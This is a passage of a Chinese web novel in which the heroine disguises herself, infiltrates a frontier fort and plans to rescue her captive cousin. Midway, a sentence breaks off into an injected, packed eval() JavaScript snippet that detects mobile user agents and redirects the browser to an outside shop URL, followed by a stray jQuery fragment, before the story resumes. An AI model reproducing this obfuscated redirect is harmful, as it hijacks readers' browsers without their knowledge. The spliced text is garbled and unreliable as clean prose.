其二,画像上的人根本不是她,而是堂姐白霜。当初白霜被敌军挟持坠楼,侥幸未死,辗转流落西域。孤身汉女在异乡太过惹眼,要么身陷囹圄,要么四处躲藏。图拉·乌勒追查的目标从头到尾都是白霜,只因姐妹二人容貌酷似,路人撞见白雪,便错把她当成告示中人前去报信。
无论真相是哪一个,贸然入城都是死局。若是搜捕目标为白霜,她一旦现身,便会惊动敌人,彻底断送营救机会;若是冲着她而来,城内遍布埋伏,人生地不熟,踏进城门便是落入死局。
白雪久久伫立在暮色里。穿城而过的晚风裹挟着尘土与烟火气息,暖意融融。她猛然想起当年图拉·乌勒临走前说的话:多谢她手下留情,给了他翻墙脱身的机会。此人恩怨分明,一桩一件全都牢牢记在心里。如今重金悬赏,未必是急于取她性命,更像是要把去年落败的棋局重新扳回来。
她转身走向栗色母马。少年愣在原地,望着她离去的背影,全然不明白她为何放弃对峙,转身离开。
“你回去吧。”白雪翻身上马,重新裹好蒙面纱巾,低头看向少年,“替我转告你的母亲,战事之中,我没办法为你父亲赔罪。当时城门岌岌可危,他攀梯攻城,我若是手下留情,整座镇子都会失守。”她语气凝重,“但你不要再寻我报仇了。你赢不了我,没必要白白搭上自己的性命。”
少年一言不发,单薄的身影被落日拉得极长,一直伸到马蹄之下。
白雪调转马头,退到后方土坡之后才停下。回首眺望赤崖堡,城门即将关闭,城头灯火接连亮起,宛如串在夜幕上的橘色珠子。她笃定,图拉·乌勒就在城内,白霜十有八九也被困在这座土城的某个角落。硬闯绝对行不通,必须绕道城池后方,寻一处隐蔽缺口,摸清守备与内情,再伺机行事。
她把马匹牵到背风处,卸下马鞍当作枕头,裹紧防风毯依偎在马腹旁。夜幕铺开,繁星次第点亮,和大漠无数个夜晚别无二致。她伸手摸向怀中那本《守城录》,硬实的封皮粗糙硌手。自离开白雪镇,这本书就寸步不离,哪怕从未翻开,指尖触碰到书页,内心便能安定下来。
她裹紧毛毯,遥望边城星星点点的灯火。整座城池蛰伏在黑暗里,如同一头暗藏杀机的巨兽,守着无数不为人知的秘密。她压低声音,轻得只有自己能够听见:“霜姐,如果你还活着,再多坚持几日。我已经到了。”
她把毛毯拉至下颌,闭目凝神。晚风拂过戈壁,沙沙流响绵延千里,仿佛大地深处有人在缓缓翻动一卷厚重的史书,一页,又一页,安静而漫长。
白雪知道,三十六计里的瞒天过海,核心便是:防备周密之时,人最容易松懈;越是司空见惯的人和事,越不会引人深究。乌勒把城门盯得死死,严查单身汉女客,盘查每一张汉人面孔,反倒会忽略城中最寻常的苦力脚夫。
白雪在土坡后静坐半宿,定下入城之策。
她先寻到城外一处流民落脚的荒棚,用沙土揉黑面颊,剪短长发,再换上一身破烂粗布短打,束紧腰身,刻意把身形压得佝偻起来。原本利落挺拔的少女身姿,硬生生装成一个干瘦沉默的少年苦力。腰间短刀藏进布靴,那本《守城录》用油布裹紧,塞进柴捆深处。
天亮之后,一队给城内粮行送柴火的流民正要进城。白雪混在队伍末尾,低着头,垂着肩膀,一言不发,只埋头扛起一捆最重的干柴。
城门守卫盯着告示反复核对过往行人,目光在年轻女子身上来回扫荡,对一群衣衫肮脏、满身尘土的砍柴少年反倒懒得多看。有人随口盘问籍贯,白雪压低嗓音,学着西域流民生硬的口音胡乱应答,面无表情,连眼皮都不抬一下。守卫草草扫过,挥手放行。
就这么靠着一身流民装扮,借着一队柴夫作掩护,她不动声色穿过城门,踏进了赤崖堡。乌勒布下重重哨卡严防死守,万万没料到,追捕的目标已经大摇大摆走进了自己布下的罗网。
一进内城,白雪立刻脱离柴夫队伍,拐进纵横交错的窄巷。土城街巷四通八达,土墙高矮不一,墙头遍布巡逻的打手。乌勒的人分成两队,一队守城门盯外来生人,一队在街巷来回游走,挨家比对画像,誓要把姐妹二人一并揪出来。
她把自己藏在市井烟火里,不去客栈,不去闹市,专挑屠户、柴铺、草料场这类底层苦力扎堆的地方落脚。别人闲聊,她蹲在墙角劈柴扫地,少开口,少抬头,始终把半张脸埋在尘土与破帽之下。明面上,她只是一个走投无路、来边城讨活路的外乡少年;暗地里,她一双眼睛把整条街巷的岗哨、巡逻路线摸得一清二楚。
乌勒自以为牢牢掌控全城,布下天罗地网,实则早已和白雪玩起了一场猫捉老鼠的博弈。只是谁是猫,谁是鼠,还未可知。
好几次,巡查的打手就从她身侧擦肩而过,目光扫过她脏兮兮的面孔,只当是个不起眼的穷小子,丝毫没有联想到告示上的女子。每当追兵收紧包围圈,白雪就借着四通八达的后巷翻墙绕路,前脚敌人封锁正街,后脚她已经顺着土墙缺口钻进另一片居民区。对方收紧一分,她便隐匿一分,始终游走在包围圈的缝隙之中,绝不硬碰。
她刻意放出一点模糊踪迹,故意在茶馆留下一句“寻同乡女子”的闲话,引得乌勒的人手一窝蜂涌向城南民宅。等到大批人马围堵过去,白雪早已转身潜入城东——正是乌勒宅院所在的街区。这一手声东击西,把追兵耍得团团转。敌人疲于奔命,处处扑空,只觉得那个外来女子神出鬼没,仿佛凭空钻进了泥土里。
趁着街巷守备空虚,白雪蹲在粮铺门口,不动声色地听往来客商闲谈。
众人私下议论,乌勒近日看管着一名来历不明的汉家女子,锁在后院柴房,看守严密,不许外人靠近。那女子浑身是伤,醒来之后就丢了记忆,只记得年少落雪的旧事,连自己本名都说不完整。
白雪攥紧掌心,心口骤然一紧。这话与她此前的猜测对上了十之八九,被困之人,十有八九就是白霜。
可还不等她靠近宅院探查,街头忽然戒严。几名持刀壮汉沿街逐户搜查,方才那个偷袭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17703173|208253||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她的少年,正站在人群里辨认路人。少年见过白雪原本的样貌,若是被他盯住,伪装顷刻就会败露。
白雪不敢久留,转身钻进一条堆满干草的死巷。追兵脚步声越来越近,已经堵死了巷口。千钧一发之际,她翻身爬上土墙,贴着房脊一路轻跃,借着土屋错落的屋顶躲开搜查。下方打手仰头四处张望,只看见晃动的屋影,始终抓不到半分人影。
乌勒站在街口,脸色阴沉。他明明布下层层封锁,可猎物始终在眼皮底下游走,抓不住,围不住,处处被对方牵着鼻子走。他终于反应过来,对方精通守城与巷战的门道,把这座边城当成了攻防阵地,利用街巷、土墙、民房层层周旋。
天色渐晚,满城灯火亮起,全城搜查愈加密密层层。硬闯后院无异于自投罗网,一旦暴露身份,不但救不出白霜,姐妹二人都会一同落入圈套。
白雪寻到一处废弃的破庙藏身,缓缓卸下伪装,擦去脸上尘土。一场半日的猫鼠追逐,让她看清了城内布防:明哨遍布街巷,暗哨守在宅院四周,乌勒还在四处增派人手,只等着逼她现身。
她靠着断墙坐定,指尖摩挲着怀中的《守城录》。攻与守,本就是一体。乌勒在城内撒网围捕,是攻;她藏身市井伺机救人,是守。
瞒天过海只能保一时入城,想要把人平安带出赤崖堡,还需要再设一局。
她望向乌勒宅院的方向,目光沉静而坚定。
既然对方要把围城之局打到底,那她便陪着继续周旋。先引开所有守备人手,调虎离山,再趁后院空虚,破开柴房门锁,把失忆的堂姐带出樊笼。
夜色笼罩土城,追捕者还在街巷来回奔波,却不知道,猎物已经稳住脚步,开始编织反击的圈套。
白雪蹲在破庙的断墙后面,听着外面街巷里越来越密的脚步声和呼喊声。那些人像撒网一样从城东往城西搜,火把在窗纸外面一晃一晃地掠过,把庙门外的地砖照得忽明忽暗。她把手按在刀柄上数着呼吸,一息、两息、三息,等那串脚步声从庙门口跑过去之后,才慢慢把攥紧的手指松开。
她知道自己快被逼到墙角了。图拉·乌勒的人已经把城东这片区域围了三层,明哨暗哨交织成一张越来越紧的网,她再躲下去,天亮之前必然会被堵在某条死巷里。可她不能出城,白霜还困在那座宅院里,她连后院的门朝哪个方向开都还没摸清。她靠在墙根底下闭了一会儿眼睛,脑子里把整座城的街巷走向重新过了一遍——东街是乌勒的宅院,南街是市集,西街是客栈和酒肆,北街靠近城门,守卫最严,唯一剩下的一处没被彻底围死的地方是……
她听见了一阵铃声。从庙门外面传过来的,细碎而清脆,像一串小银铃被风吹着走。
她侧耳听了片刻,那声音越来越近,还跟着女人的笑闹声和叽叽咕咕的胡语,几个裹着彩绸披肩的身影从庙门外不远处的巷口一闪而过,香水的气味随风飘进来,浓烈的、带着甜腻花香的,跟土城里的尘土和牲口气味截然不同。
胡姬,酒楼的胡姬。